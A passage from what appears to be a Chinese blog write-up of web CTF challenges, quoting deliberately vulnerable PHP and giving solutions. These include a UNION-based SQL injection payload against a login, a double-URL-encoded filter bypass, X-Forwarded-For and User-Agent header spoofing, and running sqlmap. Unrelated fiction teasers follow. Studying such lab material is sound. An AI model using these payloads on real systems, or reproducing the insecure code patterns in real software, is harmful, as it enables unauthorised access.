        die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
    
  }
  
  
}

?>

代码明显存在注入点,在username处,然后password做了md5加密,所以主要是做了联合查询查个md5出来,使得与password相等就行,payload:Username' union select md5(1)#�
这样的查询语句就是 select pw from php where user='Username' union select md5(1)#�其中pw是md5(1),这样的话就查询出来了。


p34

二十三. what a fuck
这道题目上来完全不知道讲啥,看了writeup说是jsfuck编码,可以直接扔浏览器console解码


p35

二十四.PHP大法
源代码直接上来:
<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

int eregi(string pattern, string string, [array regs]);
定义和用法
eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。
可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
返回值
如果匹配成功返回true,否则,则返回false
这个代码要绕过条件比较清晰,首先系统url解码以后不能出现hackerDJ,出现的话直接not allowed,然后后面经过再一次url解码以后要出现hackerDJ,所以直接url编码两次就行了,payload:%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61


p36

二十四.这个看起来有点简单
这道题目就是一道数字型有逻辑回显的注入题目,pass。。。

二十五:貌似有点难
代码审计题,看源码

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    $cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
    $cip = $_SERVER["REMOTE_ADDR"];
else
    $cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>              

看了看代码,就是函数返回值必须是1.1.1.1


p37

直接改了x-forwarded-for字段就可以了。

二十六.头有点大

You don't have permission to access / on this server. 
Make sure you are in the region of England and browsing this site with Internet Explorer      

所以直接修改user-agent以及accept-lanuuage就行了


p38

所以直接在中user-agent加入.NET CLR 9.9 Accept-Language中语言改为英国的en-gb,首选en就行了。。。。

二十七.猫抓老鼠
这道题把返回包的content-row发送出去就行了


p39

二十八.看起来有点难
这道题目就是一道普通SQL注入,直接放sqlmap就行了。。。。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容